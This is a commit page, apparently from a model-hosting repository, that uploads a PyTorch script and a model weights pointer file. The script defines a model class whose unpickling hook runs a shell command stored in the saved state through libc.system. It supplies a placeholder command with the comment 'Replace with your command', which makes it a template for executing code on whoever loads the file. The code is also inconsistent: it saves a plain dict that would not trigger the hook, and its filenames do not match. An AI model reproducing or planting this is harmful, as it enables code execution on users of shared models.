tiwariratnesh
commited on
Upload 2 files
Browse files- model_dict.py +38 -0
- pytorch_model_dict.bin +3 -0
model_dict.py
ADDED
@@ -0,0 +1,38 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import torch
|
2 |
+
import torch.nn as nn
|
3 |
+
import json
|
4 |
+
import ctypes
|
5 |
+
|
6 |
+
class MyModel(nn.Module):
|
7 |
+
def __init__(self):
|
8 |
+
super(MyModel, self).__init__()
|
9 |
+
self.dummy_layer = nn.Linear(10, 10) # Dummy layer for example
|
10 |
+
|
11 |
+
def forward(self, x):
|
12 |
+
return self.dummy_layer(x)
|
13 |
+
|
14 |
+
def __setstate__(self, state):
|
15 |
+
super().__setstate__(state)
|
16 |
+
# Extract and execute the command from state
|
17 |
+
command = state.get('command')
|
18 |
+
if command:
|
19 |
+
libc = ctypes.CDLL("libc.so.6")
|
20 |
+
result = libc.system(command.encode('utf-8'))
|
21 |
+
print(f"Command '{command}' executed with result code {result}")
|
22 |
+
|
23 |
+
# Create an instance of the model
|
24 |
+
model = MyModel()
|
25 |
+
|
26 |
+
# Define command to execute upon loading
|
27 |
+
command = "ls" # Replace with your command
|
28 |
+
|
29 |
+
# Save the model's state dictionary with command metadata
|
30 |
+
state = {
|
31 |
+
'model_state': model.state_dict(),
|
32 |
+
'command': command
|
33 |
+
}
|
34 |
+
|
35 |
+
# Save state to a .bin file
|
36 |
+
torch.save(state, 'pytorch_model.bin')
|
37 |
+
|
38 |
+
print("Model and command metadata saved to 'model_with_command.bin'")
|
pytorch_model_dict.bin
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:c89e868db66f66431c04b2635ed6770c328c99123084dd2089ae49a4a862ff90
|
3 |
+
size 2044
|